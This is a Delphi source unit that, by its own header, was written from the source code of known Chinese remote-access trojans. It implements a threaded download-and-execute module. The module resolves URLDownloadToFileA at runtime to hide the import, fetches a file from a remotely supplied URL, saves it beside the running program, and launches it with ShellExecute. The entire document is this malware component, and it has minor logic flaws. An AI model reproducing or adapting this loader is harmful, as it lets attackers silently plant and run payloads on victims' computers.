downfileunit.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit DownFileUnit;

interface

uses
  Windows, Classes, {fununit,}sysutils, Shellapi;
function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall;
//function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

type
  TDownFileThread = class(TThread)
  private
    TheServer:String;
    TheFile:String;
    TheDir:String;
    TheName:String;
    Theopen:Boolean;
  protected
    procedure Execute; override;
  Public
    constructor Create(Httpadder:string);
    destructor Destroy; override;
    function Down: Boolean;
  end;

implementation
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
hUrlmon: THandle;
function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall;
begin
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
hUrlmon:=LoadLibrary('urlmon.dll');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
Downfile(nil,URL,FileName, Reserved, nil);
end;

constructor TDownFileThread.Create(Httpadder:String);
var
i:integer;
Temp,ii:string;
Ext: string;
begin
   inherited Create(True);
   
   Temp:= Httpadder;
   ii:=copy(temp,1,1);
   Delete(Temp,1,1);

   TheServer:=Temp;
   if ii<>'0' then Theopen:=True;  //是否打开文件
   Ext:=copy(Temp,Length(temp)-3,4);

   TheDir:= ExtractFilePath(ParamStr(0));    //'C:\'

  repeat
    TheName:='Down'+'('+inttostr(i)+')'+Ext;
    inc(i);
  until not FileExists(TheDir+TheName);

   FreeOnTerminate:=True;
   Suspended := false;
end;

function TDownFileThread.Down: Boolean;
begin
try
//messagebox(0,PChar(TheServer), PChar(TheDir+TheName),mb_ok);
 if UrlDownloadToFile(0,PChar(TheServer), PChar(TheDir+TheName),0,0)<>0 then
  Result :=True;
except
  Result :=False;
end;
end;

procedure TDownFileThread.Execute;
var
 i:integer;
begin
try
for i:=0 to 15 do
begin
  if Down then
    begin
      if Theopen then
        begin
          ShellExecute(0, 'Open', pchar(TheDir + TheName),nil, nil, SW_NORMAL);
        end;
        Break;
    end;
end;
except
end;
end;

destructor TDownFileThread.Destroy;
begin
  inherited destroy;
end;
end.